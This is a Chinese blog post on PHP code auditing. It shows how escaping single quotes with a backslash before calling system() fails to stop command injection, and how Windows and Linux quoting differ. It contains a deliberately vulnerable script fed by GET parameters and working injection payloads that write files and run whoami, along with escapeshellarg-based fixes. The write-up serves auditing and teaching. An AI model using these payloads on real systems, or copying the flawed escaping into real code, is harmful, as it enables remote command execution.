昨天好基友发来了一段代码,还是挺有趣的,记录下:

  

<?php
$a = '\''.str_replace("'","\'",$_GET[1]).'\'';
$b = '\''.str_replace("'","\'",$_GET[2]).'\'';
echo($a);
echo "<br/>";
var_dump($b);
echo "<br/>";
var_dump('echo '. $a . $b);
echo "<br/>";
system('echo '. $a . $b);
echo "<br/>";
?>

  代码如下,要求windows和linux下执行命令

  先从windows下手吧:

    payload:

test' | echo 123 > helloworld.txt |dir &2=1

  页面输出:

  

'test\' | echo 123 > helloworld.txt |dir '
string(3) "'1'"
string(50) "echo 'test\' | echo 123 > helloworld.txt |dir ''1'"
驱动器 C 中的卷没有标签。 卷的序列号是 4A10-0977 C:\phpStudy\WWW 的目录

  发现即使转义了单引号仍待可以命令执行,问题出在哪里呢?

  打开windows cmd:

  直接输入这段语句:

  

echo 'test\' | echo 123 > helloworld.txt |dir ''1'

  

  此时我的桌面上就有了一个helloworld.txt文件

  其实问题就出在程序员误把\认为是windows的转义符,其实windows真正的转义符就是(^):

  我们可以多测试几次看看:

    测试用例如下:

    先测试有效的:  

C:\Users\maniac123\Desktop>echo 'test\' | echo 123
123 C:\Users\maniac123\Desktop>echo 'test | echo 123
123 C:\Users\maniac123\Desktop>echo 'x''' | echo 123
123 C:\Users\maniac123\Desktop>echo 'x | echo 123'
123' C:\Users\maniac123\Desktop>

    

   发现在windows下,如果使用\'的方式去处理修复rce,是不对的,通过连接符,将会畅通无阻.如果不去处理正确的转义连接符,会导致rce:

  比如说我这样输入:

     

C:\Users\maniac123\Desktop>echo 'x 111.txt\| echo 123'
123' C:\Users\maniac123\Desktop>

  

  仍然是正常输出,除非使用^去处理连接符:

C:\Users\maniac123\Desktop>echo 'x 111.txt^| echo 123'
'x 111.txt| echo 123' C:\Users\maniac123\Desktop>

  

  如果使用^去转义,只会打印,而不是执行

  那么上面那段代码在windows下无效,建议使用:php自带的命令执行处理函数escapeshellarg或escapeshellcmd

  无效测试用例:

    

C:\Users\maniac123\Desktop>echo "xxx | echo 123"
"xxx | echo 123" C:\Users\maniac123\Desktop>echo "xxx && echo 123"
"xxx && echo 123" C:\Users\maniac123\Desktop>

  在windows下如果可控的数据被双引号包裹,那又不一样了,windows认为他只是字符串,他只会原样输出:

  

  这样,都不需要转义连接符号,就把漏洞扼杀在摇篮里了,真的无懈可击吗?

  稍微修改下输入:

    

C:\Users\maniac123\Desktop>echo "xxx^" | whoami
maniac123-pc\maniac123 C:\Users\maniac123\Desktop>echo "xxx\" | whoami
maniac123-pc\maniac123 C:\Users\maniac123\Desktop>echo "xxx/" | whoami
maniac123-pc\maniac123

  如果有程序员二次画蛇添足做多余转义处理,那么就会逃逸导致再次命令执行:

  

 在windows下只要看到"了,就代表是闭合了,前面什么符号都没关系!

 通过这个差异,下次源码审计就可以钻这种空子,实现命令执行.

  windows大致说完了,现在来讲讲linux下的问题:

   linux的转义符号有两个:分别是(\)和(''),大多数都知道前者,后者容易被忽略

   

  都可以起到转义的作用

   当使用(\)或者('')转义连接符的时候,命令执行会失败:

  

  上测试代码:

    

<?php
$t1 = "这是可控点1";
$t2 = "这是可控点2";
$a = "\'".str_replace("'","\'",$t1)."\'";
$b = "\'".str_replace("'","\'",$t2)."\'";
echo $a;
echo($a);
echo "<br/>";
var_dump($b);
echo "<br/>";
var_dump('echo '. $a . $b);
echo "<br/>";
system('echo '. $a . $b);
echo "<br/>";
?>

  直接给出payload:

    

<?php
$t1 = "' && echo 11111111 > hello.txt && '";
$t2 = "\'";
$a = "\'".str_replace("'","\'",$t1)."\'";
$b = "\'".str_replace("'","\'",$t2)."\'";
echo $a;
echo($a);
echo "<br/>";
var_dump($b);
echo "<br/>";
var_dump('echo '. $a . $b);
echo "<br/>";
system('echo '. $a . $b);
echo "<br/>";
?>

    打印输出看下:

  

\'\' && echo 11111111 > hello.txt && \'\'\'\' && echo 11111111 > hello.txt && \'\'<br/>string(7) "\'\\'\'"
<br/>string(53) "echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'"
<br/>''
sh: '''\\: command not found

  把这部分取出来即可:

"echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'"

  单独拎出来:

  

echo \'\' && echo 11111111 > hello.txt && \'\'\'\\'\'

  linux cmd下运行下:

    

  为什么可以?

    前面的代码发现,这里把'转换成\',比较有迷惑性的输入:

    

 \'\'\'\\'\'

  再次运行:

  

  输出

'''\\

  前面说了linux 下 '*'才是转义符,\也是转义符:

  分开执行:

  

   这样就清晰多了

    linux和windows下区别很大:

  如果linux这样做,直接gg了,引号包裹里面,就扼杀了命令执行的可能性:

    

  还是\'使用不当,导致想输入的恶意语句逃逸:

    

[root@VM-0-6-centos ~]# cat 123.txt
cat: 123.txt: 没有那个文件或目录
[root@VM-0-6-centos ~]# echo '\'|echo 123 > 123.txt|\\''
-bash: \: 未找到命令
[root@VM-0-6-centos ~]# cat 123.txt
123
[root@VM-0-6-centos ~]#

     

  为什么可以执行命令?因为转义符!导致我们的{echo 123 > 123.txt}是一个整体,直接命令执行

    其实不借助第二个可控参数,仍然可以命令执行只要这样: 

<?php
$t1 = "' && echo 11111111 > hello.txt && '";
$t2 = "";
$a = "\'".str_replace("'","\'",$t1)."\'";
$b = "\'".str_replace("'","\'",$t2)."\'";
echo $a;
echo($a);
echo "<br/>";
var_dump($b);
echo "<br/>";
var_dump('echo '. $a . $b);
echo "<br/>";
system('echo '. $a . $b);
echo "<br/>";
?>

  输出

\'\' || echo 11111111 > hello.txt || \'\'\'\' || echo 11111111 > hello.txt || \'\'<br/>string(4) "\'\'"
<br/>string(50) "echo \'\' || echo 11111111 > hello.txt || \'\'\'\'"
<br/>''
<br/>

  其中最终的输出的是:

    

echo \'\' || echo 11111111 > hello.txt || \'\'\'\'

  都一一转义了,此时此刻{echo 11111111 > hello.txt}就是一个整体

  那么在linux下命令执行修复方案如下:建议使用:php自带的命令执行处理函数escapeshellarg或escapeshellcmd     

  还是比较有意思的,呵呵  

php代码审计之命令执行中windows/linux的差异化问题的更多相关文章

  1. 用前端姿势玩docker【五】快速构建中类Unix系统与Windows系统的差异化处理

    目录 用前端姿势玩docker[一]Docker通俗理解常用功能汇总与操作埋坑 用前端姿势玩docker[二]dockerfile定制镜像初体验 用前端姿势玩docker[三]基于nvm的前端环境构建 ...

  2. PHP代码审计笔记--命令执行漏洞

    命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: <?php $target=$_REQUEST['ip']; ...

  3. 2020/1/28 PHP代码审计之命令执行漏洞

    0x00 命令执行漏洞原理 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行 ...

  4. ASP代码审计 -4.命令执行漏洞总结

    命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...

  5. 常用命令行指令 Windows & Linux

    一.Linux linux常用命令详解:https://www.cnblogs.com/yuncong/p/10247583.html 挂载U盘到linux一个文件夹中 二.Windows 1.查看电 ...

  6. php bypass disable_function 命令执行 方法汇总简述

    1.使用未被禁用的其他函数 exec,shell_exec,system,popen,proc_open,passthru (python_eval?perl_system ? weevely3 wi ...

  7. 【渗透测试学习平台】 web for pentester -6.命令执行

    命令执行漏洞 windows支持: |           ping 127.0.0.1|whoami           ||              ping  2 || whoami (哪条名 ...

  8. 在 Linux/windows下 命令行中使用和执行 PHP 代码[交互式php]

    [注释]在ubuntu下,升级php到7.1版本,虽然提示的是Interactive mode enabled, 但实际上可以直接书写命令,和interactive shell效果一样. 一:wind ...

  9. 在 Linux 命令行中使用和执行 PHP 代码

    PHP是一个开源服务器端脚本语言,最初这三个字母代表的是“Personal Home Page”,而现在则代表的是“PHP:Hypertext Preprocessor”,它是个递归首字母缩写.它是一 ...

随机推荐

  1. Java面向对象OOP思想概述

    目录 OOP思想(Object Oriented Programming) 类和对象 接口 抽象类 OOP三大特性 封装 继承 多态 OOP复用的形式 OOP思想(Object Oriented Pr ...

  2. Java学习IO流第一天

    今日内容介绍 字节流 字符流 1 字节流 在前面的学习过程中,我们一直都是在操作文件或者文件夹,并没有给文件中写任何数据.现在我们就要开始给文件中写数据,或者读取文件中的数据. 1.1 字节输出流Ou ...

  3. 实战项目部署应用到kubernetes流程(jenkins+docker+k8s)

    说明 通过jenkins构建java应用程序发布到k8s集群中 本文已一个大数据的java项目来演示构建部署过程 支持发布和回滚 支持一套模板应用不同项目 k8s基础准备 创建项目名称空间 [root ...

  4. Python 3.10 中新的功能和变化

    随着最后一个alpha版发布,Python 3.10 的功能更改全面敲定! 现在,正是体验Python 3.10 新功能的理想时间!正如标题所言,本文将给大家分享Python 3.10中所有重要的功能 ...

  5. Vue 批量注册局部组件及应用

    博客地址:https://ainyi.com/105 批量注册路由的有个博客说到:https://ainyi.com/77 实际工作中,可能会遇到一个大页面里面有很多个模块,这些模块一般是需要拆分到单 ...

  6. LinqToObject和LinqToSql的区别

    抓住五一假期尾巴和小伙伴们一起分享这两者的区别.大家在日常编码的过程当中肯定也注意过或者使用过.但是二者其实存在本质的区别 1.什么是LinqToObject呢? LINQ to Objects指直接 ...

  7. hdu4530 水题

    题意: 小Q系列故事--大笨钟 Time Limit: 600/200 MS (Java/Others) Memory Limit: 65535/32768 K (Java/Others) Total ...

  8. Windows下Nexus 5的Android 5.0以上版本官方ROM的刷机教程

    博客链接:http://blog.csdn.net/qq1084283172/article/details/52334452 折腾Android逆向的时候,经常需要给Nexus 5刷机.最近给Nex ...

  9. hdu4411 经典费用里建图

    题意:       给以一个无向图,0 - n,警察在0,他们有k个警队,要派一些警队去1--n个城市抓小偷, 问所有吧所有小偷全抓到然后在返回0的最小路径和是多少,当地i个城市被攻击的时候他会通知i ...

  10. WPF小经验

    Binding.IsAsync当属性值填充好后,与该属性绑定的界面才会开始加载(属性绑定优于控件加载) private IList<string> _list; public IList& ...